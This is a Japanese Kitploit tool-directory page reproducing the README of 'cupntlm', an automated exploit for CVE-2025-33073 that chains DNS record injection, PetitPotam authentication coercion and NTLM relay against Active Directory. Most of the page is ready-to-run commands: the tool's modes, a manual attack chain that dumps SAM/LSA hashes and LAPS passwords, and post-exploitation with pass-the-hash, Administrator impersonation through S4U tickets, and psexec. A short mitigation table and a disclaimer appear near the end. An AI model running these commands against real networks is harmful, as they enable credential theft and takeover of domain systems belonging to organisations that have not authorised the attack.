Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
ツール/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
特権昇格偵察脆弱性分析エクスプロイト横移動情報収集ポストエクスプロイトペネトレーションテストコマンド&コントロール

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
認証
レッドチーミング
DNS分析
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

リポジトリを見る
34ヶ月前未レビュー

cupntlm

CVE-2025-33073 — DNS 強制認証による NTLM リフレクション回避
Active Directory 環境向け自動化エクスプロイトツール。


概要

cupntlm は、CVE-2025-33073 を悪用する NTLM リフレクション/リレー攻撃チェーンを自動化します。DNS レコード注入、強制認証(PetitPotam)、NTLM リレーを単一のワークフローに統合します。このツールは、スコープとステルス要件に応じて 2 つの運用モードをサポートします。

攻撃チェーンの概要

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. DNS レコードを注入 ────────▶│                            │
   │      (攻撃者 IP をターゲットとして) │                            │
   │                                │                            │
   │── 2. 認証を強制 (PetitPotam) ──────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM 認証が転送されて返る ────────────────────────────│
   │                                │                            │
   │── 4. DC へリレー ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. シェル / secretsdump / など │                            │

対象ネットワークの前提条件:

  • リレー先で SMB 署名が無効であること
  • 有効な低権限ドメインアカウント(読み取り専用で十分)
  • DC へのネットワーク到達性(ポート 389 LDAP、445 SMB)

要件

システムパッケージ

Python ライブラリ

ライブラリインストール
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspythonpip3 install dnspython --break-system-packages

exploit/ ディレクトリの内容(setup.sh が自動生成)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

インストール

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

使い方

チェックモード — 攻撃の実行可能性を検証

何かを実行する前に、ターゲットの SMB 署名状態を確認し、ドメイン資格情報を検証します。

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

ターゲット単位モード — ホストごとに個別の DNS レコード

ターゲットごとに一意の DNS レコードを作成し、1 台ずつ認証を強制して、反復ごとにレコードをクリーンアップします。低速ですが、より精密でノイズが少なくなります。

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

シングルモード — 単一の DNS レコードでリレーを継続

単一の DNS レコードを注入し、全ターゲットを反復処理している間 ntlmrelayx を継続的に実行します。大規模スコープで高速です。

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

targets.txt の形式

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

手動エクスプロイト

以下の手順は、cupntlm.py を使用せずに完全な攻撃チェーンを手動で再現するものです。プリミティブの理解、デバッグ、または非標準環境への適応に役立ちます。

ステップ 1 — SMB 署名の列挙

SMB 署名が無効になっているホストを特定します。これらが有効なリレーターゲットです。

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

または nmap を使用:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

以下の表示に注目:

root@kitploit:~
Message signing enabled but not required   ← リレー可能なターゲット
Message signing enabled and required       ← ここにはリレー不可

ステップ 2 — 悪意のある DNS レコードを注入

dnstool.py を使用して、ホスト名を自分のマシンに向ける A レコードをドメインの DNS に追加します。ターゲットがこのホスト名を解決して認証すると、要求はリレーリスナーに届きます。

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # 自分の攻撃者 IP
  --type A \
  10.0.0.1                       # DC IP

レコードが追加されたことを確認:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

ステップ 3 — NTLM リレーリスナーを起動

認証を強制する前に ntlmrelayx.py を起動します。リスナーは着信認証を待機します。

SMB へのリレー — SAM/LSA ダンプ:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

LDAP へのリレー — 新しいマシンアカウントを作成(RBCD / シャドウ資格情報用):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

LDAPS へのリレー — ドメインシークレットのダンプ:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

ステップ 4 — PetitPotam で認証を強制

ターゲットマシンに、注入した DNS レコードへ向けて外部認証を実行させます。PetitPotam は MS-EFSRPC インターフェイスを悪用します。未パッチのホストでは資格情報は不要で、パッチ済みホストでは有効な資格情報が必要です。

未認証(未パッチのターゲット):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # リスナー IP(DNS レコードと一致)
  192.168.1.50             # 認証を強制するターゲットホスト

認証あり(パッチ済みターゲット、有効な資格情報が必要):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

この時点で、強制されたホストは自分のマシンに NTLM 認証を送信します → ntlmrelayx がそれを捕捉してリレーします。


ステップ 5 — 出力を収集

ステップ 3 で選択したリレーターゲットに応じて:

  • SMB リレー → ntlmrelayx はハッシュを stdout にダンプし、<hostname>_samhashes.txt / _lsahashes.txt を書き込みます
  • LDAP delegate-access → ntlmrelayx は作成したマシンアカウント名とパスワードを表示します。その後 getST.py でサービスチケットを取得します
  • LDAPS ダンプ → LAPS パスワードが直接表示されます

ステップ 6 — DNS レコードをクリーンアップ

エンゲージメント後は、注入した DNS レコードを必ず削除してください。

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

ポストエクスプロイトの例

リレーしたマシンアカウントでのパスザハッシュ:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

S4U2Self のサービスチケットを取得(RBCD 後):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

チケットを使用:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

緩和策

対策効果
全ホストで SMB 署名(必須)を有効化SMB へのリレーを阻止
LDAP 署名 + チャネルバインディングを有効化LDAP/LDAPS へのリレーを阻止
MS-EFSRPC にパッチ適用(KB5005413)

免責事項

このツールは許可を得たペネトレーションテストおよびセキュリティ研究のみを目的としています。
明示的な書面による許可がないシステムに対して使用しないでください。


クレジット

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — EFS 強制認証
ツールをダウンロード
ツール目的
python3ランタイム
pip3Python パッケージマネージャー
git依存関係のクローン
wgetファイルのダウンロード
nmapSMB 署名の列挙
netexec / crackmapexecSMB 署名チェック(任意)
未認証 PetitPotam を阻止
DNS レコード作成を管理者に限定DNS 注入ステップを阻止
NTLM ネットワーク認証を無効化(Kerberos を優先)この攻撃クラス全体を排除